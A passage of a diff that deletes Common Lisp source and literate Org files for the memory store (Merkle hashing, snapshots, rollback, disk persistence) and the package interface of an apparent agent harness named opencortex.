(ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
|
||||
(ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
|
||||
|
||||
(defun ingest-ast (ast &optional parent-id)
|
||||
(let* ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
|
||||
(contents (getf ast :contents))
|
||||
(raw-content (when (eq type :HEADLINE)
|
||||
(format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) ""))))
|
||||
(child-ids nil) (child-hashes nil))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(let ((child-id (ingest-ast child id)))
|
||||
(push child-id child-ids)
|
||||
(let ((child-obj (gethash child-id *memory*)))
|
||||
(when child-obj (push (org-object-hash child-obj) child-hashes))))))
|
||||
(setf child-ids (nreverse child-ids))
|
||||
(setf child-hashes (nreverse child-hashes))
|
||||
(let* ((hash (compute-merkle-hash id type props raw-content child-hashes))
|
||||
(existing-obj (gethash hash *history-store*))
|
||||
(obj (or existing-obj
|
||||
(make-org-object
|
||||
:id id :type type :attributes props :content raw-content
|
||||
:parent-id parent-id :children child-ids
|
||||
:version (get-universal-time) :last-sync (get-universal-time)
|
||||
:hash hash))))
|
||||
(unless existing-obj (setf (gethash hash *history-store*) obj))
|
||||
(setf (gethash id *memory*) obj)
|
||||
id)))
|
||||
|
||||
(defvar *object-store-snapshots* nil)
|
||||
|
||||
(defun copy-hash-table (hash-table)
|
||||
(let ((new-table (make-hash-table :test (hash-table-test hash-table)
|
||||
:size (hash-table-size hash-table))))
|
||||
(maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table)
|
||||
new-table))
|
||||
|
||||
(defun snapshot-memory ()
|
||||
(let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory*))))
|
||||
(maphash (lambda (k v) (setf (gethash k snapshot) (copy-org-object v))) *memory*)
|
||||
(push (list :timestamp (get-universal-time) :data snapshot) *object-store-snapshots*)
|
||||
(when (> (length *object-store-snapshots*) 20) (setf *object-store-snapshots* (subseq *object-store-snapshots* 0 20)))
|
||||
(harness-log "MEMORY - CoW Memory snapshot created.")))
|
||||
|
||||
(defun rollback-memory (&optional (index 0))
|
||||
(let ((snapshot (nth index *object-store-snapshots*)))
|
||||
(if snapshot
|
||||
(progn (setf *memory* (copy-hash-table (getf snapshot :data)))
|
||||
(harness-log "MEMORY - Memory rolled back to snapshot ~a" index))
|
||||
(harness-log "MEMORY ERROR - Snapshot ~a not found." index))))
|
||||
|
||||
(defvar *memory-snapshot-path* nil)
|
||||
|
||||
(defun ensure-memory-snapshot-path ()
|
||||
(or *memory-snapshot-path*
|
||||
(let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH")))
|
||||
(setf *memory-snapshot-path*
|
||||
(or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
|
||||
|
||||
(defun save-memory-to-disk ()
|
||||
(let ((path (ensure-memory-snapshot-path)))
|
||||
(with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(let ((memory-alist nil) (history-alist nil))
|
||||
(maphash (lambda (k v) (push (cons k v) memory-alist)) *memory*)
|
||||
(maphash (lambda (k v) (push (cons k v) history-alist)) *history-store*)
|
||||
(prin1 (list :memory memory-alist :history-store history-alist) stream)))
|
||||
(harness-log "MEMORY - Saved to ~a" path)))
|
||||
|
||||
(defun load-memory-from-disk ()
|
||||
(let ((path (ensure-memory-snapshot-path)))
|
||||
(when (uiop:file-exists-p path)
|
||||
(handler-case
|
||||
(with-open-file (stream path :direction :input)
|
||||
(let ((data (read stream nil)))
|
||||
(when data
|
||||
(let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store)))
|
||||
(setf *memory* (make-hash-table :test 'equal :size (length memory-alist)))
|
||||
(dolist (kv memory-alist) (setf (gethash (car kv) *memory*) (cdr kv)))
|
||||
(setf *history-store* (make-hash-table :test 'equal :size (length history-alist)))
|
||||
(dolist (kv history-alist) (setf (gethash (car kv) *history-store*) (cdr kv)))
|
||||
(harness-log "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory*))))))
|
||||
(error (c) (harness-log "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
|
||||
t)
|
||||
@@ -1,173 +0,0 @@
|
||||
#+TITLE: The System Memory (memory.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:memory:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle memory.lisp
|
||||
|
||||
* Overview
|
||||
The Memory module is the cognitive bedrock of the opencortex. It is not a database; it is the agent's live, active "brain" state.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** The Object Repository
|
||||
#+begin_src lisp
|
||||
(defvar *memory* (make-hash-table :test 'equal))
|
||||
(defvar *history-store* (make-hash-table :test 'equal)
|
||||
"Immutable Merkle-Tree versioning store mapping hashes to objects.")
|
||||
#+end_src
|
||||
|
||||
** The Data Structure (org-object)
|
||||
#+begin_src lisp
|
||||
(defstruct org-object
|
||||
id type attributes content vector parent-id children version last-sync hash)
|
||||
|
||||
(defmethod make-load-form ((obj org-object) &optional env)
|
||||
(make-load-form-saving-slots obj :environment env))
|
||||
|
||||
(defun copy-org-object (obj)
|
||||
(make-org-object :id (org-object-id obj)
|
||||
:type (org-object-type obj)
|
||||
:attributes (copy-list (org-object-attributes obj))
|
||||
:content (org-object-content obj)
|
||||
:vector (org-object-vector obj)
|
||||
:parent-id (org-object-parent-id obj)
|
||||
:children (copy-list (org-object-children obj))
|
||||
:version (org-object-version obj)
|
||||
:last-sync (org-object-last-sync obj)
|
||||
:hash (org-object-hash obj)))
|
||||
#+end_src
|
||||
|
||||
** Merkle Tree Integrity
|
||||
#+begin_src lisp
|
||||
(defun compute-merkle-hash (id type attributes content child-hashes)
|
||||
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
|
||||
(sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
|
||||
(attr-string (format nil "~s" sorted-alist))
|
||||
(children-string (format nil "~{~a~}" child-hashes))
|
||||
(data-string (format nil "ID:~a|TYPE:~s|ATTRS:~a|CONTENT:~a|CHILDREN:~a"
|
||||
id type attr-string (or content "") children-string))
|
||||
(digester (ironclad:make-digest :sha256)))
|
||||
(ironclad:update-digest digester (ironclad:ascii-string-to-byte-array data-string))
|
||||
(ironclad:byte-array-to-hex-string (ironclad:produce-digest digester))))
|
||||
#+end_src
|
||||
|
||||
** Ingest (ingest-ast)
|
||||
#+begin_src lisp
|
||||
(defun ingest-ast (ast &optional parent-id)
|
||||
(let* ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
|
||||
(contents (getf ast :contents))
|
||||
(raw-content (when (eq type :HEADLINE)
|
||||
(format nil "~a~%~a" (getf props :TITLE) (or (getf ast :raw-content) ""))))
|
||||
(child-ids nil) (child-hashes nil))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(let ((child-id (ingest-ast child id)))
|
||||
(push child-id child-ids)
|
||||
(let ((child-obj (gethash child-id *memory*)))
|
||||
(when child-obj (push (org-object-hash child-obj) child-hashes))))))
|
||||
(setf child-ids (nreverse child-ids))
|
||||
(setf child-hashes (nreverse child-hashes))
|
||||
(let* ((hash (compute-merkle-hash id type props raw-content child-hashes))
|
||||
(existing-obj (gethash hash *history-store*))
|
||||
(obj (or existing-obj
|
||||
(make-org-object
|
||||
:id id :type type :attributes props :content raw-content
|
||||
:parent-id parent-id :children child-ids
|
||||
:version (get-universal-time) :last-sync (get-universal-time)
|
||||
:hash hash))))
|
||||
(unless existing-obj (setf (gethash hash *history-store*) obj))
|
||||
(setf (gethash id *memory*) obj)
|
||||
id)))
|
||||
#+end_src
|
||||
|
||||
** Snapshots (snapshot-memory)
|
||||
#+begin_src lisp
|
||||
(defvar *object-store-snapshots* nil)
|
||||
|
||||
(defun copy-hash-table (hash-table)
|
||||
(let ((new-table (make-hash-table :test (hash-table-test hash-table)
|
||||
:size (hash-table-size hash-table))))
|
||||
(maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table)
|
||||
new-table))
|
||||
|
||||
(defun snapshot-memory ()
|
||||
(let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory*))))
|
||||
(maphash (lambda (k v) (setf (gethash k snapshot) (copy-org-object v))) *memory*)
|
||||
(push (list :timestamp (get-universal-time) :data snapshot) *object-store-snapshots*)
|
||||
(when (> (length *object-store-snapshots*) 20) (setf *object-store-snapshots* (subseq *object-store-snapshots* 0 20)))
|
||||
(harness-log "MEMORY - CoW Memory snapshot created.")))
|
||||
|
||||
(defun rollback-memory (&optional (index 0))
|
||||
(let ((snapshot (nth index *object-store-snapshots*)))
|
||||
(if snapshot
|
||||
(progn (setf *memory* (copy-hash-table (getf snapshot :data)))
|
||||
(harness-log "MEMORY - Memory rolled back to snapshot ~a" index))
|
||||
(harness-log "MEMORY ERROR - Snapshot ~a not found." index))))
|
||||
#+end_src
|
||||
|
||||
** Persistence (save-memory / load-memory)
|
||||
#+begin_src lisp
|
||||
(defvar *memory-snapshot-path* nil)
|
||||
|
||||
(defun ensure-memory-snapshot-path ()
|
||||
(or *memory-snapshot-path*
|
||||
(let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH")))
|
||||
(setf *memory-snapshot-path*
|
||||
(or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
|
||||
|
||||
(defun save-memory-to-disk ()
|
||||
(let ((path (ensure-memory-snapshot-path)))
|
||||
(with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create)
|
||||
(let ((memory-alist nil) (history-alist nil))
|
||||
(maphash (lambda (k v) (push (cons k v) memory-alist)) *memory*)
|
||||
(maphash (lambda (k v) (push (cons k v) history-alist)) *history-store*)
|
||||
(prin1 (list :memory memory-alist :history-store history-alist) stream)))
|
||||
(harness-log "MEMORY - Saved to ~a" path)))
|
||||
|
||||
(defun load-memory-from-disk ()
|
||||
(let ((path (ensure-memory-snapshot-path)))
|
||||
(when (uiop:file-exists-p path)
|
||||
(handler-case
|
||||
(with-open-file (stream path :direction :input)
|
||||
(let ((data (read stream nil)))
|
||||
(when data
|
||||
(let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store)))
|
||||
(setf *memory* (make-hash-table :test 'equal :size (length memory-alist)))
|
||||
(dolist (kv memory-alist) (setf (gethash (car kv) *memory*) (cdr kv)))
|
||||
(setf *history-store* (make-hash-table :test 'equal :size (length history-alist)))
|
||||
(dolist (kv history-alist) (setf (gethash (car kv) *history-store*) (cdr kv)))
|
||||
(harness-log "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory*))))))
|
||||
(error (c) (harness-log "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
|
||||
t)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/memory-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-memory-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:memory-suite))
|
||||
|
||||
(in-package :opencortex-memory-tests)
|
||||
|
||||
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash opencortex::*memory*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
(let ((hash1 (org-object-hash (lookup-object id1))))
|
||||
(clrhash opencortex::*memory*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (org-object-hash (lookup-object id2)))))))))
|
||||
#+end_src
|
||||
@@ -1,267 +0,0 @@
|
||||
(defpackage :opencortex
|
||||
(:use :cl)
|
||||
(:export
|
||||
;; --- communication protocol ---
|
||||
#:frame-message
|
||||
#:read-framed-message
|
||||
#:PROTO-GET
|
||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||
#:COSINE-SIMILARITY
|
||||
#:VAULT-MASK-STRING
|
||||
#:*VAULT-MEMORY*
|
||||
#:parse-message
|
||||
#:make-hello-message
|
||||
#:validate-communication-protocol-schema
|
||||
|
||||
;; --- Daemon Lifecycle ---
|
||||
#:start-daemon
|
||||
#:stop-daemon
|
||||
#:harness-log
|
||||
#:main
|
||||
|
||||
;; --- Diagnostic Doctor ---
|
||||
#:doctor-run-all
|
||||
#:doctor-main
|
||||
#:doctor-check-dependencies
|
||||
#:doctor-check-env
|
||||
|
||||
;; --- Setup Wizard ---
|
||||
#:register-provider
|
||||
#:system-ready-p
|
||||
#:run-setup-wizard
|
||||
|
||||
;; --- Gateway Manager Skill ---
|
||||
#:skill-gateway-register
|
||||
#:skill-gateway-link
|
||||
#:gateway-manager-main
|
||||
|
||||
;; --- Memory (CLOSOS) ---
|
||||
#:ingest-ast
|
||||
#:lookup-object
|
||||
#:list-objects-by-type
|
||||
#:org-id-new
|
||||
#:*memory*
|
||||
#:*history-store*
|
||||
#:org-object
|
||||
#:make-org-object
|
||||
#:org-object-id
|
||||
#:org-object-type
|
||||
#:org-object-attributes
|
||||
#:org-object-parent-id
|
||||
#:org-object-children
|
||||
#:org-object-version
|
||||
#:org-object-last-sync
|
||||
#:org-object-vector
|
||||
#:org-object-content
|
||||
#:org-object-hash
|
||||
#:snapshot-memory
|
||||
#:rollback-memory
|
||||
|
||||
;; --- Context API (Peripheral Vision) ---
|
||||
#:context-query-store
|
||||
#:context-get-active-projects
|
||||
#:context-get-recent-completed-tasks
|
||||
#:context-list-all-skills
|
||||
#:context-get-skill-source
|
||||
#:context-get-system-logs
|
||||
#:context-resolve-path
|
||||
#:context-get-skill-telemetry
|
||||
#:harness-track-telemetry
|
||||
#:context-assemble-global-awareness
|
||||
|
||||
;; --- Reactive Signal Pipeline ---
|
||||
#:process-signal
|
||||
#:perceive-gate
|
||||
#:probabilistic-gate
|
||||
#:consensus-gate
|
||||
#:act-gate
|
||||
#:reason-gate
|
||||
#:perceive-gate
|
||||
#:dispatch-gate
|
||||
#:inject-stimulus
|
||||
#:initialize-actuators
|
||||
#:dispatch-action
|
||||
#:register-actuator
|
||||
|
||||
;; --- Skill Engine ---
|
||||
#:load-skill-from-org
|
||||
#:initialize-all-skills
|
||||
#:load-skill-with-timeout
|
||||
#:topological-sort-skills
|
||||
#:validate-lisp-syntax
|
||||
#:defskill
|
||||
#:*skills-registry*
|
||||
#:skill
|
||||
#:skill-name
|
||||
#:skill-priority
|
||||
#:skill-dependencies
|
||||
#:skill-trigger-fn
|
||||
#:skill-probabilistic-prompt
|
||||
#:skill-deterministic-fn
|
||||
|
||||
;; --- Tool Registry ---
|
||||
#:def-cognitive-tool
|
||||
#:*cognitive-tools*
|
||||
|
||||
;; --- Engineering Standards Skill ---
|
||||
#:verify-git-clean-p
|
||||
#:engineering-standards-verify-lisp
|
||||
#:engineering-standards-format-lisp
|
||||
|
||||
;; --- Literate Programming Skill ---
|
||||
#:literate-check-block-balance
|
||||
#:check-tangle-sync
|
||||
#:*tangle-targets*
|
||||
|
||||
;; --- Utils Org Skill ---
|
||||
#:utils-org-read-file
|
||||
#:utils-org-write-file
|
||||
#:utils-org-add-headline
|
||||
#:utils-org-set-property
|
||||
#:utils-org-set-todo
|
||||
#:utils-org-find-headline-by-id
|
||||
#:utils-org-find-headline-by-title
|
||||
#:utils-org-generate-id
|
||||
#:utils-org-id-format
|
||||
#:utils-org-ast-to-org
|
||||
#:utils-org-modify
|
||||
|
||||
;; --- Utils Lisp Skill ---
|
||||
#:utils-lisp-validate
|
||||
#:utils-lisp-check-structural
|
||||
#:utils-lisp-check-syntactic
|
||||
#:utils-lisp-check-semantic
|
||||
#:utils-lisp-eval
|
||||
#:utils-lisp-format
|
||||
#:utils-lisp-list-definitions
|
||||
#:utils-lisp-structural-extract
|
||||
#:utils-lisp-structural-wrap
|
||||
#:utils-lisp-structural-inject
|
||||
#:utils-lisp-structural-slurp
|
||||
#:utils-lisp-register
|
||||
|
||||
;; --- Config Manager & Diagnostics Skill ---
|
||||
#:get-oc-config-dir
|
||||
#:prompt-for
|
||||
#:save-secret
|
||||
|
||||
;; --- Tool Permissions Skill ---
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:cognitive-tool
|
||||
#:cognitive-tool-name
|
||||
#:cognitive-tool-description
|
||||
#:cognitive-tool-parameters
|
||||
#:cognitive-tool-guard
|
||||
#:cognitive-tool-body
|
||||
|
||||
;; --- Emacs Client Registry ---
|
||||
#:*emacs-clients*
|
||||
#:*clients-lock*
|
||||
#:register-emacs-client
|
||||
#:unregister-emacs-client
|
||||
|
||||
;; --- Probabilistic Engine ---
|
||||
#:ask-probabilistic
|
||||
#:register-probabilistic-backend
|
||||
#:distill-prompt
|
||||
#:*provider-cascade*
|
||||
|
||||
;; --- Security Vault ---
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
|
||||
;; --- Deterministic Logic ---
|
||||
#:list-objects-with-attribute
|
||||
#:deterministic-verify
|
||||
|
||||
;; --- AST Helpers ---
|
||||
#:find-headline-missing-id))
|
||||
|
||||
(in-package :opencortex)
|
||||
|
||||
(defun proto-get (plist key)
|
||||
"Robustly retrieves a value from a plist, checking both uppercase and lowercase keyword versions."
|
||||
(let* ((s (string key))
|
||||
(up (intern (string-upcase s) :keyword))
|
||||
(dn (intern (string-downcase s) :keyword)))
|
||||
(or (getf plist up) (getf plist dn))))
|
||||
|
||||
(defvar *system-logs* nil)
|
||||
(defvar *logs-lock* (bordeaux-threads:make-lock "harness-logs-lock"))
|
||||
(defvar *max-log-history* 100)
|
||||
|
||||
(defvar *skills-registry* (make-hash-table :test 'equal)
|
||||
"Global registry of all loaded skills.")
|
||||
|
||||
(defvar *skill-telemetry* (make-hash-table :test 'equal))
|
||||
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
|
||||
|
||||
(defun harness-track-telemetry (skill-name duration status)
|
||||
"Updates performance metrics for a specific skill. Status should be :success or :rejected."
|
||||
(when skill-name
|
||||
(bordeaux-threads:with-lock-held (*telemetry-lock*)
|
||||
(let ((entry (or (gethash skill-name *skill-telemetry*) (list :executions 0 :total-time 0 :failures 0))))
|
||||
(incf (getf entry :executions))
|
||||
(incf (getf entry :total-time) duration)
|
||||
(when (eq status :rejected) (incf (getf entry :failures)))
|
||||
(setf (gethash skill-name *skill-telemetry*) entry)))))
|
||||
|
||||
(defvar *cognitive-tools* (make-hash-table :test 'equal))
|
||||
|
||||
(defstruct cognitive-tool
|
||||
name
|
||||
description
|
||||
parameters
|
||||
guard
|
||||
body)
|
||||
|
||||
(defmacro def-cognitive-tool (name description parameters &key guard body)
|
||||
"Registers a new cognitive tool into the global registry. Parameters must be a list of property lists."
|
||||
`(setf (gethash (string-downcase (string ',name)) *cognitive-tools*)
|
||||
(make-cognitive-tool :name (string-downcase (string ',name))
|
||||
:description ,description
|
||||
:parameters ',parameters
|
||||
:guard ,guard
|
||||
:body ,body)))
|
||||
|
||||
(defun generate-tool-belt-prompt ()
|
||||
"Generates a prompt string describing all available cognitive tools."
|
||||
(let ((descriptions nil))
|
||||
(maphash (lambda (k tool)
|
||||
(declare (ignore k))
|
||||
(push (format nil "- ~a: ~a~% Parameters: ~a~%"
|
||||
(cognitive-tool-name tool)
|
||||
(cognitive-tool-description tool)
|
||||
(cognitive-tool-parameters tool))
|
||||
descriptions))
|
||||
*cognitive-tools*)
|
||||
(if descriptions
|
||||
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
|
||||
"No tools registered.")))
|
||||
|
||||
(defun harness-log (msg &rest args)
|
||||
"Centralized logging for the harness."
|
||||
(let ((formatted-msg (apply #'format nil msg args)))
|
||||
(bordeaux-threads:with-lock-held (*logs-lock*)
|
||||
(push formatted-msg *system-logs*)
|
||||
(when (> (length *system-logs*) *max-log-history*)
|
||||
(setq *system-logs* (subseq *system-logs* 0 *max-log-history*))))
|
||||
(format t "~a~%" formatted-msg)
|
||||
(finish-output)))
|
||||
|
||||
;; --- Debugger Hook ---
|
||||
(setf *debugger-hook* (lambda (condition hook)
|
||||
"Friendly error handler - shows diagnostic message instead of raw debugger."
|
||||
(format t "~%")
|
||||
(format t "┌─────────────────────────────────────────────┐~%")
|
||||
(format t "│ ERROR: ~A~%" (type-of condition))
|
||||
(format t "│~%")
|
||||
(format t "│ Run: opencortex doctor~%")
|
||||
(format t "│ For system diagnostics~%")
|
||||
(format t "└─────────────────────────────────────────────┘~%")
|
||||
(format t "~%")
|
||||
(format t "Details: ~A~%" condition)
|
||||
(finish-output)
|
||||
(uiop:quit 1)))
|
||||
@@ -1,284 +0,0 @@
|
||||
#+TITLE: System Interface (package.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:interface:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle package.lisp
|
||||
|
||||
* Overview
|
||||
The ~package.lisp~ file defines the public API of the ~opencortex~ harness.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Public API Export
|
||||
#+begin_src lisp :tangle package.lisp
|
||||
(defpackage :opencortex
|
||||
(:use :cl)
|
||||
(:export
|
||||
;; --- communication protocol ---
|
||||
#:frame-message
|
||||
#:read-framed-message
|
||||
#:PROTO-GET
|
||||
#:LIST-OBJECTS-WITH-ATTRIBUTE
|
||||
#:COSINE-SIMILARITY
|
||||
#:VAULT-MASK-STRING
|
||||
#:*VAULT-MEMORY*
|
||||
#:parse-message
|
||||
#:make-hello-message
|
||||
#:validate-communication-protocol-schema
|
||||
|
||||
;; --- Daemon Lifecycle ---
|
||||
#:start-daemon
|
||||
#:stop-daemon
|
||||
#:harness-log
|
||||
#:main
|
||||
|
||||
;; --- Diagnostic Doctor ---
|
||||
#:doctor-run-all
|
||||
#:doctor-main
|
||||
#:doctor-check-dependencies
|
||||
#:doctor-check-env
|
||||
|
||||
;; --- Setup Wizard ---
|
||||
#:register-provider
|
||||
#:system-ready-p
|
||||
#:run-setup-wizard
|
||||
|
||||
;; --- Gateway Manager Skill ---
|
||||
#:skill-gateway-register
|
||||
#:skill-gateway-link
|
||||
#:gateway-manager-main
|
||||
|
||||
;; --- Memory (CLOSOS) ---
|
||||
#:ingest-ast
|
||||
#:lookup-object
|
||||
#:list-objects-by-type
|
||||
#:org-id-new
|
||||
#:*memory*
|
||||
#:*history-store*
|
||||
#:org-object
|
||||
#:make-org-object
|
||||
#:org-object-id
|
||||
#:org-object-type
|
||||
#:org-object-attributes
|
||||
#:org-object-parent-id
|
||||
#:org-object-children
|
||||
#:org-object-version
|
||||
#:org-object-last-sync
|
||||
#:org-object-vector
|
||||
#:org-object-content
|
||||
#:org-object-hash
|
||||
#:snapshot-memory
|
||||
#:rollback-memory
|
||||
|
||||
;; --- Context API (Peripheral Vision) ---
|
||||
#:context-query-store
|
||||
#:context-get-active-projects
|
||||
#:context-get-recent-completed-tasks
|
||||
#:context-list-all-skills
|
||||
#:context-get-skill-source
|
||||
#:context-get-system-logs
|
||||
#:context-resolve-path
|
||||
#:context-get-skill-telemetry
|
||||
#:harness-track-telemetry
|
||||
#:context-assemble-global-awareness
|
||||
|
||||
;; --- Reactive Signal Pipeline ---
|
||||
#:process-signal
|
||||
#:perceive-gate
|
||||
#:probabilistic-gate
|
||||
#:consensus-gate
|
||||
#:act-gate
|
||||
#:reason-gate
|
||||
#:perceive-gate
|
||||
#:dispatch-gate
|
||||
#:inject-stimulus
|
||||
#:initialize-actuators
|
||||
#:dispatch-action
|
||||
#:register-actuator
|
||||
|
||||
;; --- Skill Engine ---
|
||||
#:load-skill-from-org
|
||||
#:initialize-all-skills
|
||||
#:load-skill-with-timeout
|
||||
#:topological-sort-skills
|
||||
#:validate-lisp-syntax
|
||||
#:defskill
|
||||
#:*skills-registry*
|
||||
#:skill
|
||||
#:skill-name
|
||||
#:skill-priority
|
||||
#:skill-dependencies
|
||||
#:skill-trigger-fn
|
||||
#:skill-probabilistic-prompt
|
||||
#:skill-deterministic-fn
|
||||
|
||||
;; --- Tool Registry ---
|
||||
#:def-cognitive-tool
|
||||
#:*cognitive-tools*
|
||||
|
||||
;; --- Engineering Standards Skill ---
|
||||
#:verify-git-clean-p
|
||||
#:engineering-standards-verify-lisp
|
||||
#:engineering-standards-format-lisp
|
||||
|
||||
;; --- Literate Programming Skill ---
|
||||
#:literate-check-block-balance
|
||||
#:check-tangle-sync
|
||||
#:*tangle-targets*
|
||||
|
||||
;; --- Utils Org Skill ---
|
||||
#:utils-org-read-file
|
||||
#:utils-org-write-file
|
||||
#:utils-org-add-headline
|
||||
#:utils-org-set-property
|
||||
#:utils-org-set-todo
|
||||
#:utils-org-find-headline-by-id
|
||||
#:utils-org-find-headline-by-title
|
||||
#:utils-org-generate-id
|
||||
#:utils-org-id-format
|
||||
#:utils-org-ast-to-org
|
||||
#:utils-org-modify
|
||||
|
||||
;; --- Utils Lisp Skill ---
|
||||
#:utils-lisp-validate
|
||||
#:utils-lisp-check-structural
|
||||
#:utils-lisp-check-syntactic
|
||||
#:utils-lisp-check-semantic
|
||||
#:utils-lisp-eval
|
||||
#:utils-lisp-format
|
||||
#:utils-lisp-list-definitions
|
||||
#:utils-lisp-structural-extract
|
||||
#:utils-lisp-structural-wrap
|
||||
#:utils-lisp-structural-inject
|
||||
#:utils-lisp-structural-slurp
|
||||
#:utils-lisp-register
|
||||
|
||||
;; --- Config Manager & Diagnostics Skill ---
|
||||
#:get-oc-config-dir
|
||||
#:prompt-for
|
||||
#:save-secret
|
||||
|
||||
;; --- Tool Permissions Skill ---
|
||||
#:get-tool-permission
|
||||
#:set-tool-permission
|
||||
#:check-tool-permission-gate
|
||||
#:cognitive-tool
|
||||
#:cognitive-tool-name
|
||||
#:cognitive-tool-description
|
||||
#:cognitive-tool-parameters
|
||||
#:cognitive-tool-guard
|
||||
#:cognitive-tool-body
|
||||
|
||||
;; --- Emacs Client Registry ---
|
||||
#:*emacs-clients*
|
||||
#:*clients-lock*
|
||||
#:register-emacs-client
|
||||
#:unregister-emacs-client
|
||||
|
||||
;; --- Probabilistic Engine ---
|
||||
#:ask-probabilistic
|
||||
#:register-probabilistic-backend
|
||||
#:distill-prompt
|
||||
#:*provider-cascade*
|
||||
|
||||
;; --- Security Vault ---
|
||||
#:vault-get-secret
|
||||
#:vault-set-secret
|
||||
|
||||
;; --- Deterministic Logic ---
|
||||
#:list-objects-with-attribute
|
||||
#:deterministic-verify
|
||||
|
||||
;; --- AST Helpers ---
|
||||
#:find-headline-missing-id))
|
||||
#+end_src
|
||||
|
||||
** Package Implementation
|
||||
#+begin_src lisp :tangle package.lisp
|
||||
(in-package :opencortex)
|
||||
|
||||
(defun proto-get (plist key)
|
||||
"Robustly retrieves a value from a plist, checking both uppercase and lowercase keyword versions."
|
||||
(let* ((s (string key))
|
||||
(up (intern (string-upcase s) :keyword))
|
||||
(dn (intern (string-downcase s) :keyword)))
|
||||
(or (getf plist up) (getf plist dn))))
|
||||
|
||||
(defvar *system-logs* nil)
|
||||
(defvar *logs-lock* (bordeaux-threads:make-lock "harness-logs-lock"))
|
||||
(defvar *max-log-history* 100)
|
||||
|
||||
(defvar *skills-registry* (make-hash-table :test 'equal)
|
||||
"Global registry of all loaded skills.")
|
||||
|
||||
(defvar *skill-telemetry* (make-hash-table :test 'equal))
|
||||
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
|
||||
|
||||
(defun harness-track-telemetry (skill-name duration status)
|
||||
"Updates performance metrics for a specific skill. Status should be :success or :rejected."
|
||||
(when skill-name
|
||||
(bordeaux-threads:with-lock-held (*telemetry-lock*)
|
||||
(let ((entry (or (gethash skill-name *skill-telemetry*) (list :executions 0 :total-time 0 :failures 0))))
|
||||
(incf (getf entry :executions))
|
||||
(incf (getf entry :total-time) duration)
|
||||
(when (eq status :rejected) (incf (getf entry :failures)))
|
||||
(setf (gethash skill-name *skill-telemetry*) entry)))))
|
||||
|
||||
(defvar *cognitive-tools* (make-hash-table :test 'equal))
|
||||
|
||||
(defstruct cognitive-tool
|
||||
name
|
||||
description
|
||||
parameters
|
||||
guard
|
||||
body)
|
||||
|
||||
(defmacro def-cognitive-tool (name description parameters &key guard body)
|
||||
"Registers a new cognitive tool into the global registry. Parameters must be a list of property lists."
|
||||
`(setf (gethash (string-downcase (string ',name)) *cognitive-tools*)
|
||||
(make-cognitive-tool :name (string-downcase (string ',name))
|
||||
:description ,description
|
||||
:parameters ',parameters
|
||||
:guard ,guard
|
||||
:body ,body)))
|
||||
|
||||
(defun generate-tool-belt-prompt ()
|
||||
"Generates a prompt string describing all available cognitive tools."
|
||||
(let ((descriptions nil))
|
||||
(maphash (lambda (k tool)
|
||||
(declare (ignore k))
|
||||
(push (format nil "- ~a: ~a~% Parameters: ~a~%"
|
||||
(cognitive-tool-name tool)
|
||||
(cognitive-tool-description tool)
|
||||
(cognitive-tool-parameters tool))
|
||||
descriptions))
|
||||
*cognitive-tools*)
|
||||
(if descriptions
|
||||
(format nil "Available tools:~%~a" (apply #'concatenate 'string (sort descriptions #'string<)))
|
||||
"No tools registered.")))
|
||||
|
||||
(defun harness-log (msg &rest args)
|
||||
"Centralized logging for the harness."
|
||||
